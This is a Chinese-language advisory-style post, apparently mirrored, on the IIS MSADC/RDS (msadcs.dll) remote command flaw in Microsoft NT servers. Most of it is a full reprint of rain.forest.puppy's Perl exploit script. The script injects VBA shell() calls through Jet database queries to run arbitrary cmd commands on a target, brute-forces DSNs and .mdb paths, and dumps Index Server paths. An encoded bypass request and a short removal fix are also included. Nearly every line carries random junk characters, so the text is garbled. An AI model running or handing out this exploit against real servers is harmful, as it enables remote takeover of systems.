IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
*%Q!22?6F )TV'eq 涉及程序:
>0u4>=# Microsoft NT server
\5O4}sm$* zQD$+q5h 描述:
4INO . 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
F7L+bv 4egq Y0A 详细:
` NcWy 如果你没有时间读详细内容的话,就删除:
#:236^xYS c:\Program Files\Common Files\System\Msadc\msadcs.dll
sH#UM(N 有关的安全问题就没有了。
Dmn6{jyP CB6<Vng}C 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
k+%6:r,r& e6]u5;B
r 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
72Ft?;R 关于利用ODBC远程漏洞的描述,请参看:
N0/DPZX7 ?mrG^TV^+r http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm /Wk\6 LUJKR6oT{> 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
l*/I ;a$ http://www.microsoft.com/security/bulletins/MS99-025faq.asp @@_f''f$ @Vc*JEW 这里不再论述。
H}X3nl\] %5a>@K] 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
NtSa#$A mmEr2\L /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
kcI3pmgj 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
3fM~R+p De\&r~bTW9 G'Jsk4:c #将下面这段保存为txt文件,然后: "perl -x 文件名"
PJS\> N&u ^q7
fN0"6 #!perl
~[ isR|> #
7k{C'\m # MSADC/RDS 'usage' (aka exploit) script
ojUBa/ #
K`768%q # by rain.forest.puppy
0vt?yD #
{Jwh .bJ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Hq3"OMG q # beta test and find errors!
$9j\sZj& -6(C^X% use Socket; use Getopt::Std;
%sbDH getopts("e:vd:h:XR", \%args);
-y)ij``VY fOtL6/? print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
AK} wSXF a4Fe MCvV9 if (!defined $args{h} && !defined $args{R}) {
aI{Ehbf= print qq~
Zchs/C 9{ Usage: msadc.pl -h <host> { -d <delay> -X -v }
OV_Y`u7YR -h <host> = host you want to scan (ip or domain)
-uHD|
} -d <seconds> = delay between calls, default 1 second
u`O
xY -X = dump Index Server path table, if available
mADq_`j -v = verbose
hjtkq.@ -e = external dictionary file for step 5
nm_]2z O q]ER_]%Gna Or a -R will resume a command session
@bSxT,2 tXV9+AJ ~; exit;}
Ep>3%{V \!Cix}}1 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
0,1:l3iu1M if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
MkEr|w' if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
O
KVIl if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
:
9wW*Ix $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
y0k*iS
e if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
8*-8"It<" }(4U7Ac if (!defined $args{R}){ $ret = &has_msadc;
\09eH[ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
!o1{. V9q =iO K($ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
SSEK9UX . "cmd /c ";
RB`Emp&T $in=<STDIN>; chomp $in;
7=(rk $command="cmd /c " . $in ;
~8L*N>Y BQu_)@ if (defined $args{R}) {&load; exit;}
kclClB:PS W ZdEfY{ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
%5Hsd &try_btcustmr;
>>oR@ #9M6 q print "\nStep 2: Trying to make our own DSN...";
^x-vOGlR &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
uu@Y]0- B8;jRY print "\nStep 3: Trying known DSNs...";
PY-
1 oP &known_dsn;
=
_X#JP79 Q\|72NWS print "\nStep 4: Trying known .mdbs...";
2#:/C: &known_mdb;
(C>FM8$J 4=!SG4~o if (defined $args{e}){
yr?*{; print "\nStep 5: Trying dictionary of DSN names...";
(N{Rda*8 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
3omFd#EP "uf*?m3 print "Sorry Charley...maybe next time?\n";
. J[2\ "W exit;
o8Vtxnkg zO8`xrN! ##############################################################################
G347&F) {5w'.Z]0v sub sendraw { # ripped and modded from whisker
feU]a5%XZ sleep($delay); # it's a DoS on the server! At least on mine...
4gbi?UAmX my ($pstr)=@_;
erTb9`N4 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
GG%X1c8K die("Socket problems\n");
,S[,F0"% if(connect(S,pack "SnA4x8",2,80,$target)){
x dDR/KS select(S); $|=1;
$.{CA-~%[ print $pstr; my @in=<S>;
AE0d0Y~9 select(STDOUT); close(S);
wgfy; # return @in;
W _j`'WN/ } else { die("Can't connect...\n"); }}
2c:H0O
0o dayp1%d ##############################################################################
=qPk'n9i8 {T|sU\| Q sub make_header { # make the HTTP request
6!P];3&o\A my $msadc=<<EOT
7
+A-S9P) POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
AdBF$nn[ User-Agent: ACTIVEDATA
;m6Mm`[i< Host: $ip
[)UF@Sq4+Q Content-Length: $clen
k<W n Connection: Keep-Alive
2_Me
4 S~^0
_? ADCClientVersion:01.06
Ij;= Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
X&qRanOP;z sX53(|?* --!ADM!ROX!YOUR!WORLD!
o%#Z
Content-Type: application/x-varg
#k? Rl Content-Length: $reqlen
BOqq=WY CORX .PQ EOT
g*$
0G ; $msadc=~s/\n/\r\n/g;
-f?Rr:# return $msadc;}
]:TX> X! tV2SX7N ##############################################################################
i(.c<e{v~ $4.mRS97g sub make_req { # make the RDS request
g*8LdH6mq my ($switch, $p1, $p2)=@_;
i[FcY2 my $req=""; my $t1, $t2, $query, $dsn;
$t5
0<1
v8g3]MVj3 if ($switch==1){ # this is the btcustmr.mdb query
Q"c!%`\ $query="Select * from Customers where City=" . make_shell();
-eAo3 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
L^PZ\OC $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
q|m8G 9R.IYnq elsif ($switch==2){ # this is general make table query
(?-5p; $query="create table AZZ (B int, C varchar(10))";
wqo2iRql $dsn="$p1";}
?QO)b9 Re?sopg0r elsif ($switch==3){ # this is general exploit table query
20 gPx; $query="select * from AZZ where C=" . make_shell();
YN4P
>d $dsn="$p1";}
2 cfzLW( ]7kq@o/7 elsif ($switch==4){ # attempt to hork file info from index server
#|*;~:fz $query="select path from scope()";
}8WpX2U $dsn="Provider=MSIDXS;";}
#r 1
$=GY z79L2lJn elsif ($switch==5){ # bad query
|7WzTz $query="select";
&|<~J(L; $dsn="$p1";}
.UbmU^y| vj0`[X $t1= make_unicode($query);
j}8IT $t2= make_unicode($dsn);
{(G@YG? $req = "\x02\x00\x03\x00";
}|f\'S $req.= "\x08\x00" . pack ("S1", length($t1));
(_]{[dFr% $req.= "\x00\x00" . $t1 ;
IBl}.o&]B# $req.= "\x08\x00" . pack ("S1", length($t2));
l/OG79qq $req.= "\x00\x00" . $t2 ;
>j?5MIm03 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
E*Vx^k$ return $req;}
YlOYgr^ 4@#1G*OO ##############################################################################
k1>%wR {npKdX sub make_shell { # this makes the shell() statement
aA%$<ItH return "'|shell(\"$command\")|'";}
L.(T"`-i U0u @[9! ##############################################################################
P>euUVMPz4 H_;Dq* sub make_unicode { # quick little function to convert to unicode
eFXxkWR) my ($in)=@_; my $out;
3f's>+,#% for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
P,h@F+OZN return $out;}
,Z_nV+l_ MS^,h>KI ##############################################################################
[gzU/: I>/`W sub rdo_success { # checks for RDO return success (this is kludge)
K1O/>dN_\O my (@in) = @_; my $base=content_start(@in);
~QBf78@Gf if($in[$base]=~/multipart\/mixed/){
2EE/xnwX return 1 if( $in[$base+10]=~/^\x09\x00/ );}
R ;5w*e}?5 return 0;}
o)}b Fw xx;'WL,g ##############################################################################
;~~Oc NL&g/4A[a sub make_dsn { # this makes a DSN for us
|BH,
H my @drives=("c","d","e","f");
Kox~k?JK
print "\nMaking DSN: ";
\07Vh6cj foreach $drive (@drives) {
4EB$e? print "$drive: ";
`H/HLCt my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
&[*<> "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
.E;6Xx_+r . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
jn}6yXB $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
gK)B3dH*& return 0 if $2 eq "404"; # not found/doesn't exist
Qg6m if($2 eq "200") {
MW*}+ PCY foreach $line (@results) {
3%EwA\V( return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
=j;o,
J:( } return 0;}
HqYaQ~Dth y_$^Po ##############################################################################
L6 _Sc-sU w4L\@y3 sub verify_exists {
P\zi:]h[Gh my ($page)=@_;
n+uq|sYVa my @results=sendraw("GET $page HTTP/1.0\n\n");
)1x333.[c return $results[0];}
0l 3RwWj $ @1&G~x ##############################################################################
1~7y]d?% G$@X>)2N8 sub try_btcustmr {
82/iVm1 my @drives=("c","d","e","f");
K=(&iq!VO my @dirs=("winnt","winnt35","winnt351","win","windows");
} |SVt`n STOE=TC> foreach $dir (@dirs) {
Q ^ 39Wk@ print "$dir -> "; # fun status so you can see progress
IwH
,g^0\ foreach $drive (@drives) {
Jb
tbW&EH print "$drive: "; # ditto
f4tia. $reqlen=length( make_req(1,$drive,$dir) ) - 28;
:cC`wX$ $reqlenlen=length( "$reqlen" );
{Z?!*Ow $clen= 206 + $reqlenlen + $reqlen;
z0Zl' , JZ@qmQ, my @results=sendraw(make_header() . make_req(1,$drive,$dir));
0]HK(,/h if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
:sA-$*&x else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Yhsb$wu 5~[Fh2+ ##############################################################################
@~N#)L^ "V:UQ<a\ sub odbc_error {
,~4(td+R7 my (@in)=@_; my $base;
5N|77AAxK my $base = content_start(@in);
[FCNW0NV if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
SfR!q4b= $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
A6U6SvM; $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ovfw _ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
dl;A'/(t return $in[$base+4].$in[$base+5].$in[$base+6];}
dkn_`j\v print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
?PQiVL print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
^a}{u$< $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
>qgBu_ oDP|>yXC) ##############################################################################
4Sl^cKb$7 Uis
P
8/k sub verbose {
G?V3lQI1n my ($in)=@_;
LpiLk| 2i return if !$verbose;
a*D|$<V print STDOUT "\n$in\n";}
07MLK8jS hg&AQk ##############################################################################
u}h'v&"e, \G"/Myi sub save {
qqAsh]Z my ($p1, $p2, $p3, $p4)=@_;
GkO6r'MVE open(OUT, ">rds.save") || print "Problem saving parameters...\n";
gbh:Y}_FU print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
/>oU}m"k close OUT;}
Ay`a>:p d^Wh-U ##############################################################################
3k(?`4JJ t2gjhn^p sub load {
(M=Br my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
O*PHo_&G open(IN,"<rds.save") || die("Couldn't open rds.save\n");
g\Zk*5( @p=<IN>; close(IN);
3$b(iI< " $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
:tgTYIF $target= inet_aton($ip) || die("inet_aton problems");
D0P% .r"v print "Resuming to $ip ...";
9%wppNT/ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
q8lK6p\:W if($p[1]==1) {
utE:HD.PN $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
,ym;2hJ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
%!S my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
P&YaJUq.u if (rdo_success(@results)){print "Success!\n";}
Y^G3<.B else { print "failed\n"; verbose(odbc_error(@results));}}
IO'Q}bU4vs elsif ($p[1]==3){
^`7t@G$ D if(run_query("$p[3]")){
t<7WM'2<y print "Success!\n";} else { print "failed\n"; }}
7AiCQWf9 elsif ($p[1]==4){
[ bW=>M if(run_query($drvst . "$p[3]")){
3{z|301<m print "Success!\n"; } else { print "failed\n"; }}
r?TK@^z exit;}
}M9al@" N'1~ wxd ##############################################################################
i<?4iwX%i* YMd&+J` sub create_table {
lN'/Z&62 my ($in)=@_;
M&FuXG% $reqlen=length( make_req(2,$in,"") ) - 28;
8iN As#s $reqlenlen=length( "$reqlen" );
AIyv;}5 $clen= 206 + $reqlenlen + $reqlen;
6~S0t1/t? my @results=sendraw(make_header() . make_req(2,$in,""));
8hfh,v5( return 1 if rdo_success(@results);
-Tx tX8v my $temp= odbc_error(@results); verbose($temp);
g@k9w{_ return 1 if $temp=~/Table 'AZZ' already exists/;
bAiw]xi return 0;}
yh:,[<q \sd"iMEi ##############################################################################
OpLSjr <3}l8Z sub known_dsn {
=@ZtUjcJx # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
;%<4U^2 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
`1@[uWl "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
5XI*I(.%/ "banner", "banners", "ads", "ADCDemo", "ADCTest");
>G2-kL_ %#9 ~V foreach $dSn (@dsns) {
<h=M
Rw,l print ".";
c!Vc_@V, next if (!is_access("DSN=$dSn"));
L@r.R_*H?s if(create_table("DSN=$dSn")){
6W;kIoB print "$dSn successful\n";
dA/o4co if(run_query("DSN=$dSn")){
Nh9!lB m*] print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
--`LP[ll print "Something's borked. Use verbose next time\n";}}} print "\n";}
|:+pPh!- ->I{
:# ##############################################################################
RCYbRR4y [9om"' sub is_access {
X-#mv|3 my ($in)=@_;
YBIe'(p $reqlen=length( make_req(5,$in,"") ) - 28;
y=xe<#L $reqlenlen=length( "$reqlen" );
$S8bp3) $clen= 206 + $reqlenlen + $reqlen;
}#*zjMOz my @results=sendraw(make_header() . make_req(5,$in,""));
J 7;n;Mx my $temp= odbc_error(@results);
_np>({ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
h)
PB return 0;}
<S@mQJS!y t0H=NUP8 ##############################################################################
,
)pt_"-XA )|R0_9CLV sub run_query {
b%f2"e0g my ($in)=@_;
C%?D E@k $reqlen=length( make_req(3,$in,"") ) - 28;
Rn(F#tI $reqlenlen=length( "$reqlen" );
"rDzrz $clen= 206 + $reqlenlen + $reqlen;
}_ :#fE my @results=sendraw(make_header() . make_req(3,$in,""));
=tRe3o0( return 1 if rdo_success(@results);
-sH.yAvC6 my $temp= odbc_error(@results); verbose($temp);
k,iV$,[TF return 0;}
Ox*T:5 40d9/$uzh ##############################################################################
I u~aTgHX% Doc'7P sub known_mdb {
'A(-MTd% my @drives=("c","d","e","f","g");
\
Q8q9|g?] my @dirs=("winnt","winnt35","winnt351","win","windows");
p
z+}7 my $dir, $drive, $mdb;
4i\aW:_'i my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
^=Tu>{uD h8= MVh(I # this is sparse, because I don't know of many
<T.#A8c my @sysmdbs=( "\\catroot\\icatalog.mdb",
C\2 >7 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
UFAMbI "\\system32\\certmdb.mdb",
?CW^*So "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
P}WhE X`v79`g_ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
FlA\Ad;v "\\cfusion\\cfapps\\forums\\forums_.mdb",
l)PFzIz=V "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
<\9Ijuq}k
"\\cfusion\\cfapps\\security\\realm_.mdb",
~v(M6dz~vk "\\cfusion\\cfapps\\security\\data\\realm.mdb",
IfmIX+t? "\\cfusion\\database\\cfexamples.mdb",
L5qCv -{ "\\cfusion\\database\\cfsnippets.mdb",
bb0McEQy "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
qTa]th; "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
))69a "\\cfusion\\brighttiger\\database\\cleam.mdb",
031.u<_ "\\cfusion\\database\\smpolicy.mdb",
>-|90CSdSJ "\\cfusion\\database\cypress.mdb",
{{[jC"4AY "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
'UXj\vJ3E "\\website\\cgi-win\\dbsample.mdb",
[cLU*: "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
:*&9TNUE@ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
bR8
HGH28 ); #these are just
PxVI{:Uz foreach $drive (@drives) {
)3` foreach $dir (@dirs){
$L&9x3+?Kg foreach $mdb (@sysmdbs) {
uM#U! print ".";
bHQKRV if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
cH* /zNp print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
id#k!*$7 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Ibv_D$cT print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Th;gps%b } else { print "Something's borked. Use verbose next time\n"; }}}}}
D@rn@N (|a$N.e&K foreach $drive (@drives) {
Q!2iOvK foreach $mdb (@mdbs) {
[cTRz*\s print ".";
5nxS+`Pn.) if(create_table($drv . $drive . $dir . $mdb)){
&W)+8N,L print "\n" . $drive . $dir . $mdb . " successful\n";
K7[AiU_I if(run_query($drv . $drive . $dir . $mdb)){
+%le/Pg@ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
TH(Lzrbg } else { print "Something's borked. Use verbose next time\n"; }}}}
S`2mtg }
{Z?$Co^R pT
ocqJ22 ##############################################################################
;( Ajf.i gGI#QPT`X sub hork_idx {
RLu$$Eb print "\nAttempting to dump Index Server tables...\n";
j_6` s!Yw print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
LE0J ;|1 $reqlen=length( make_req(4,"","") ) - 28;
k qY3r & $reqlenlen=length( "$reqlen" );
XEUa $clen= 206 + $reqlenlen + $reqlen;
><#2O my @results=sendraw2(make_header() . make_req(4,"",""));
mS)|6=Y if (rdo_success(@results)){
J^g,jBk my $max=@results; my $c; my %d;
'!yS72{$2 for($c=19; $c<$max; $c++){
g@k#J"Q'[ $results[$c]=~s/\x00//g;
,2
g M- $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
]4 K1%ZV $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
.n)!ZN $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
az\<sWb# $d{"$1$2"}="";}
:uIi
? foreach $c (keys %d){ print "$c\n"; }
&Xn8oe } else {print "Index server doesn't seem to be installed.\n"; }}
,.6J6{ }W__ffH ##############################################################################
J2oWssw" dY4k9p8 sub dsn_dict {
[ n0##/ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
_@BRpLs:4 while(<IN>){
* Y%<b86U $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
_Ra<|NVQh next if (!is_access("DSN=$dSn"));
>2| [EZ if(create_table("DSN=$dSn")){
wZo.ynXT print "$dSn successful\n";
#LN5&i;s if(run_query("DSN=$dSn")){
H4}%;m% print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
]< s\V-y print "Something's borked. Use verbose next time\n";}}}
*%OYAsc print "\n"; close(IN);}
'#,e
@v f.aB?\"f6 ##############################################################################
w'oo-.k WNn[L=f sub sendraw2 { # ripped and modded from whisker
Z{,GZT sleep($delay); # it's a DoS on the server! At least on mine...
4GU/V\e| my ($pstr)=@_;
rP^TN^bd| socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
T}L^CU0 die("Socket problems\n");
,]PyDq6 if(connect(S,pack "SnA4x8",2,80,$target)){
L25kh}Q#7 print "Connected. Getting data";
~Ho{p Oq open(OUT,">raw.out"); my @in;
[K cki+ select(S); $|=1; print $pstr;
(~j,mk while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
W_[|X}lWP close(OUT); select(STDOUT); close(S); return @in;
KP[NuXA` } else { die("Can't connect...\n"); }}
,:#,}w_HyO d5@X#3Hd ##############################################################################
^[{`q9A#d NJ;"jQ- sub content_start { # this will take in the server headers
:]P~.PD5, my (@in)=@_; my $c;
<Rcu%&;i for ($c=1;$c<500;$c++) {
q"gqO%Wb| if($in[$c] =~/^\x0d\x0a/){
O1GDugZ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
?M *7@t@ else { return $c+1; }}}
V]I:2k5 return -1;} # it should never get here actually
$&cz$jyY -PNi^
K_ ##############################################################################
T
n"e :83,[;GO2 sub funky {
si_W:mLF{a my (@in)=@_; my $error=odbc_error(@in);
HXQ e\r if($error=~/ADO could not find the specified provider/){
j|:dYt`WM print "\nServer returned an ADO miscofiguration message\nAborting.\n";
K(<$. exit;}
?b||Cr if($error=~/A Handler is required/){
*IC^IC: print "\nServer has custom handler filters (they most likely are patched)\n";
1HMUHZT exit;}
+7,8w if($error=~/specified Handler has denied Access/){
10p8|9rE}B print "\nServer has custom handler filters (they most likely are patched)\n";
\+-zRR0 exit;}}
f|OI` =M7TCE ##############################################################################
"`pNH' qAoAUDm sub has_msadc {
l , ..5 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
.%q$d d>> my $base=content_start(@results);
^YGTh0$W return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
8{dEpV* return 0;}
bW53" `X X0`j-*,FX ########################
11@]d]v , iOX Z]Xj5 ~g6"'Cya?k 解决方案:
nX|Q~x] 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
6^)rv-L~5y 2、移除web 目录: /msadc